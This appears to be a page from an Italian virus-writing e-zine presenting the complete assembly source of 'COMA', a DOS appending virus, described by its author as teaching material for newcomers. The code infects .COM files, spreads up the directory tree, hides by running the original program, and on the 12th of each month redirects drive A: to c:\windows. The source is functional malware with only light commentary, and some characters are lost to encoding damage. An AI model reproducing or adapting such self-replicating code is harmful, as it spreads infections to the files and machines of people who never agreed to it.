Copy Link
Add to Bookmark
Report
Vana Imago 0 41
; COMA - di ElectroRipper ; ; Questo un virus di esempio che ho scritto per l'e-zine, ma avrebbe ; vita brevissima se diffuso per prima cosa perche' infetta solo files .COM ; (che con wintendo stanno sparendo dalla circolazione) e non usa nessuna ; tecnica per nascondersi. ; Quindi a solo scopo didattico per chi vuole imparare a fare un virus ; di appending... il codice e' cosi' semplice da capire che quasi mi ; vergogno :) ; Infetta i files COM sovrascrivendo i primi bytes con un salto al codice ; virale, che infetta il primo file COM della directory e poi ; comincia a risalire le directory infettando ogni volta il primo COM della ; directory, fino ad arrivare alla directory principale. Poi torner
; nella directory di partenza. Infine ripristiner
i primi bytes del file ; originale e lo eseguir
per non far nascere sospetti. ; ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ; Non perdetevi il prossimo numero perch spiegher come infettare i file ; .EXE di Windows95 (PE). Per ora se siete newbies cercate di capire come ; funziona questo perch vi assicuro che l'appending a eseguibili di ; Windows mooooolto pi difficile da capire. ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ; ; ; ElectroRipper codice segment 'code' org 100h assume cs:codice,ds:codice,es:codice start proc far lunghezza equ fine-via ; Cosi' sa la dimensione del virus via: db 90h, 90h, 90h, 90h, 90h QUA: CALL NOFINE CALL FINE2 NOFINE: PUSH cs PUSH cs POP ds POP es CALL niente niente: POP BP SUB BP, OFFSET niente ; Per avere il delta offset LEA SI,BP+iniziale MOV AH,47h MOV DL,0 INT 21h ; Per ricordarsi da che directory partito infetta: MOV AH,4eh ; Trova il primo file della directory con estensione LEA DX,BP+comfile ; .COM MOV CX,0000h INT 21h MOV AH,3dh ; Apre il file MOV AL,00000010b MOV DX,009eh ; (Il nome del file trovato sta nel DTA) INT 21h PUSH AX POP BX ; L'handle ci serve in bx LEA DI,BP+iprimitretmp LEA SI,BP+iprimitre MOV CX,3 REP MOVSB ; Conserva i primi 3 bytes del file gia' infettato MOV AH,3fh MOV CX,3 LEA DX,BP+iprimitre ; Schiaffa i primi 3 bytes del file originale INT 21h ; nello spazio di iprimitre MOV AX,4200h ; Torniamo all'inizio del file MOV CX,0 MOV DX,0 INT 21h MOV AH,40h MOV CX,1 LEA DX,BP+jump INT 21h ; Scrive l'istruzione JMP LEA DI,BP+dimensione MOV SI,009ah MOV CX,4 REP MOVSB MOV AH,40h MOV CX,2 LEA DX,BP+dimensione INT 21h ; I due byte che seguono il JMP (l'indirizzo) MOV AX,4202h ; Alla fine del file MOV CX,0 MOV DX,0 INT 21h MOV AH,40h MOV CX,lunghezza ; La dimensione del codice virale LEA DX,BP+via ; Inizio del virus INT 21h ; Scrive il virus MOV AH,3Eh ; Ole' ! Chiudi il file INT 21h LEA SI,BP+iprimitretmp LEA DI,BP+iprimitre MOV CX,3 REP MOVSB ; Riprende i primi 3 bytes del file eseguito MOV AH,2Ah INT 21H CMP DL,12 JE bomba ; Se il 12 del mese scatta la bomba.... JMP nobomba bomba: MOV AX,71AAh ; La bomba in questione in realt
innocua e MOV BH,0 ; pacifica, semplicemente sotto windows MOV BL,1 ; fa un subst all'unit
A: LEA DX,BP+path ; (per i lamer : vuol dire che quando l'utente cerca INT 21h ; di accedere all'unit
in realt
accede al percorso ; virtuale ad esso assegnato, in questo caso quando ; si cerca di accedere al floppy disk in realt
si ; finisce sempre in c:\windows) nobomba: LEA DX,BP+indietro MOV AH,3Bh INT 21h ; Va nella directory superiore LEA SI,BP+vediamo MOV AH,47h MOV DL,0 INT 21h LEA SI,BP+vediamo LODSB CMP AL,'' JE ORABASTA ; Se e' arrivato alla directory principale si ferma JMP infetta ; ...altrimenti infetta il primo .COM della directory orabasta: LEA DX,BP+iniziale ; Ritorna alla directory dalla quale partito MOV AH,3Bh INT 21h LEA SI,BP+iprimitre ; Rimette i primi 3 bytes del file MOV DI,100h ; originale al loro posto (in memoria) MOV CX,3 REP MOVSB LEA DI,BP+QUA MOV AL,90h MOV CX,3 ; Elimina la chiamata a NOFINE (cosi' il capostipite infetta REP STOSB ; una sola volta) MOV AX,100h JMP AX ; Ritorna al programma originale FINE2: MOV AX,4C00h INT 21h ; Il capostipite termina normalmente iniziale db 64 dup (?) vediamo db 64 dup (?) iprimitre db 3 dup (?) ; Qua vanno a finire quei famosi bytes... iprimitretmp db 3 dup(?) dimensione dw 2 dup (?) jump db 'é',0 ; L'asci per l'istruzione JMP comfile db '*.COM',0 messaggio db 'COMA - di ElectroRipper' ; Pubblicit
indietro db '..',0 path db 'c:\windows',0 fine: ; Ok! Qua finisce start endp codice ends end via